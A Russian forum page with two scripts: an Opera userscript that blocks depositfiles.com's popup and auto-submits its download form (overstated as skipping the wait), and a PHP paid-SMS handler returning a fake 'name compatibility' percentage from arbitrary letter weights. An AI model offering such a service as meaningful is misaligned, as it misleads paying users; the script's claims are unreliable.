?>
Скрипт depositfiles.com !!!!! И так, вот скрипт для того чтобы вы не ждали 100сек., а сразу скачивали файл с depositfiles.com Создаём файл depositfiles_com.js в папке Opera ( с другими не пробывал). Пиши в depositfiles_com.js PHP: // ==UserScript== // @name DepositFiles.com helper for Opera 8 - 9 // @version 1.10 // @date 2009-09-09 // @author // @download http://www.puzzleclub.ru/files/depositfiles_com.js // @include http://depositfiles.com/files/* // @include http://depositfiles.com/*/files/* // ==/UserScript== (function(){ // For those who have the "Cached Images" mode. var autoReloadCaptchaImage = false; var bPlaySound = true; var soundSource = 'data:audio/midi;base64,TVRoZAAAAAYAAQACAPBNVHJrAAAAGwD/WAQEAhgIAP9RAwknwI8A/1EDB6EgAP8vAE1UcmsAAAAtAP8DBVN0YWZmAMANVpBNfx5IfyGATQAOSACBDpBNfxlIfx6ATQAOSAAA/y8A'; // Repetition interval in milliseconds. 0 - disable repetition. var soundRepetitionInterval = 60000; // 1 minute; var soundTimerId = ''; window.opera.addEventListener('BeforeScript', function(e){ if(e.element.text && e.element.text.indexOf('window.open(enter_popup_url') != -1) e.preventDefault(); }, false); var refreshPage = function() { window.history.go(0); }; function playSound() { var f = document.createElement('IFRAME'); f.src = soundSource; f.width = 0; f.height = 0; f.frameBorder = 'no'; f.scrolling = 'no'; document.documentElement.appendChild(f); var i = 0; var soundLoop = function() { var s = soundSource + '#' + i; f.setAttribute('src', s, false); i++; }; if(soundRepetitionInterval > 0) soundTimerId = setInterval(soundLoop, soundRepetitionInterval); }; var restoreImage = function(img){}; if(typeof(opera.version) == 'function' && opera.version() >= 9.10) { var restoreImage = function(img) { if(!img) return; var refreshImg = function(i, d) { i.style.display = d; }; if(img.currentStyle.display != 'none') { var display = img.currentStyle.display; img.style.display = 'none'; setTimeout(refreshImg, 10, img, display); } }; } var reloadImage = function(img) { var f = document.createElement('iframe'); f.src = img.src; f.width = 0; f.height = 0; f.frameBorder = 'no'; f.scrolling = 'no'; f.onload = function(){ this.parentNode.removeChild(this); restoreImage(img); }; document.documentElement.appendChild(f); }; var onReady = function() { document.title = 'DF: ready'; if(bPlaySound) playSound(); var btn = document.getElementById('dwn_link'); if(btn) { //var timer = soundTimerId; btn.onMouseUp = clearInterval(soundTimerId); } }; var onLoad = function() { window.is_popup_showed = true; var f = document.getElementById('gateway_form'); if(f) { f.submit(); window.close(); } else if(document.getElementById('download_url')) { var d = document.getElementById('download_url'); if(d) d.style.display = ''; d = document.getElementById('img_code_block'); if(d) d.style.display = ''; if(autoReloadCaptchaImage) { var img = d.getElementsByTagName('img'); if(img && img.length > 0 && !img[0].complete && img[0].src) reloadImage(img[0]); } var time = 0; var showTime = function() { var d = document.getElementById('instead_img_code_block'); if(d && d.style.display != 'none') { onReady(); return; } var e = document.getElementById('download_waiter_remain'); if(e) { var t = e.innerText; if(t) { t = parseFloat(t); if(!isNaN(t)) { t = t.toFixed(0); if(t != time) { time = t; if(time <= 0) { onReady(); return; } else document.title = 'DF: ' + t; } } } } setTimeout(showTime, 100); } setTimeout(showTime, 100); } else { var d = document.getElementById('download_file_info_block'); if(d && d.innerText.search('From yours IP addresses already') != -1) { setTimeout(refreshPage, 60000); return; } } }; if(typeof(opera.version) == 'function' && opera.version() >= 9) document.addEventListener('DOMContentLoaded', onLoad, false); else document.addEventListener('load', onLoad, false); })();
Опять меня кинули сцуке на скриптенк Скрипт для руссбилинга + процент соотношения имен PHP: <?php error_reporting(0); $smsid = isset($_GET['smsid']) ? $_GET['smsid'] : '' ; $num = isset($_GET['num']) ? $_GET['num'] : '' ; $operator = isset($_GET['operator']) ? $_GET['operator'] : '' ; $userid = isset($_GET['user_id']) ? $_GET['user_id'] : '' ; $cost = isset($_GET['cost']) ? $_GET['cost'] : '' ; $msg = isset($_GET['msg']) ? $_GET['msg'] : '' ; $msg = str_replace("+", '', $msg); list($function, $love, $name, $name2) = explode(" ", $msg); if($msg) { if($num == '3649' || $num == '1121') { $name = strtoupper($name); $name2 = strtoupper($name2); $count = '0'; $amount = '0'; for ($i = 0; $i < strlen($name); $i++) { $letter = $name{$i}; if ($letter == 'В') $count +=6; if ($letter == 'А') $count +=3; if ($letter == 'И') $count +=3; if ($letter == 'С') $count +=3; if ($letter == 'Е') $count +=4; if ($letter == 'К') $count +=6; if ($letter == 'Н') $count +=4; if ($letter == 'У') $count +=6; if ($letter == 'Ц') $count +=4; if ($letter == 'Ь') $count +=6; if ($letter == 'Я') $count +=4; if ($letter == 'C') $count +=6; if ($letter == 'L') $count +=4; if ($letter == 'U') $count +=6; if ($letter == 'F') $count +=4; if ($letter == 'O') $count +=6; if ($letter == 'X') $count +=4; if ($letter == 'A') $count +=3; if ($letter == 'J') $count +=3; if ($letter == 'S') $count +=3; } for ($i = 0; $i < strlen($name2); $i++) { $letter2 = $name2{$i}; if ($letter2 == 'В') $count +=6; if ($letter2 == 'А') $count +=3; if ($letter2 == 'И') $count +=3; if ($letter2 == 'С') $count +=3; if ($letter2 == 'Е') $count +=4; if ($letter2 == 'К') $count +=6; if ($letter2 == 'Н') $count +=4; if ($letter2 == 'У') $count +=6; if ($letter2 == 'Ц') $count +=4; if ($letter2 == 'Ь') $count +=6; if ($letter2 == 'Я') $count +=4; if ($letter2 == 'C') $count +=6; if ($letter2 == 'L') $count +=4; if ($letter2 == 'U') $count +=6; if ($letter2 == 'F') $count +=4; if ($letter2 == 'O') $count +=6; if ($letter2 == 'X') $count +=4; if ($letter2 == 'A') $count +=3; if ($letter2 == 'J') $count +=3; if ($letter2 == 'S') $count +=3; } if ($count > 0) $amount = 5-((strlen($name) + strlen($name2)) / 2); if ($count > 2) $amount = 10-((strlen($name) + strlen($name2)) / 2); if ($count > 4) $amount = 15-((strlen($name) + strlen($name2)) / 2); if ($count > 6) $amount = 20-((strlen($name) + strlen($name2)) / 2); if ($count > 8) $amount = 25-((strlen($name) + strlen($name2)) / 2); if ($count > 10) $amount = 30-((strlen($name) + strlen($name2)) / 2); if ($count > 12) $amount = 40-((strlen($name) + strlen($name2)) / 2); if ($count > 14) $amount = 50-((strlen($name) + strlen($name2)) / 2); if ($count > 15) $amount = 60-((strlen($name) + strlen($name2)) / 2); if ($count > 16) $amount = 65-((strlen($name) + strlen($name2)) / 2); if ($count > 17) $amount = 70-((strlen($name) + strlen($name2)) / 2); if ($count > 18) $amount = 75-((strlen($name) + strlen($name2)) / 2); if ($count > 19) $amount = 80-((strlen($name) + strlen($name2)) / 2); if ($count > 20) $amount = 85-((strlen($name) + strlen($name2)) / 2); if ($count > 22) $amount = 90-((strlen($name) + strlen($name2)) / 2); if ($count > 24) $amount = 95-((strlen($name) + strlen($name2)) / 2); if ($count > 28) $amount = 100-((strlen($name) + strlen($name2)) / 2); if ($count > 32) $amount = 105-((strlen($name) + strlen($name2)) / 2); if ($count > 40) $amount = 110-((strlen($name) + strlen($name2)) / 2); if ($amount < 0) $amount = 0; if ($amount >100) $amount = 100; $message = 'Процент соотношения имен '.$name.' + '.$name2.' = ' .$amount. '%'; } else { $message = "Вы ошиблись номером при отправке смс"; } echo "smsid:".$smsid."\n"; echo "status:reply\n"; echo "content-type:text/plan\n"; echo "\n"; echo $message."\n"; } ?>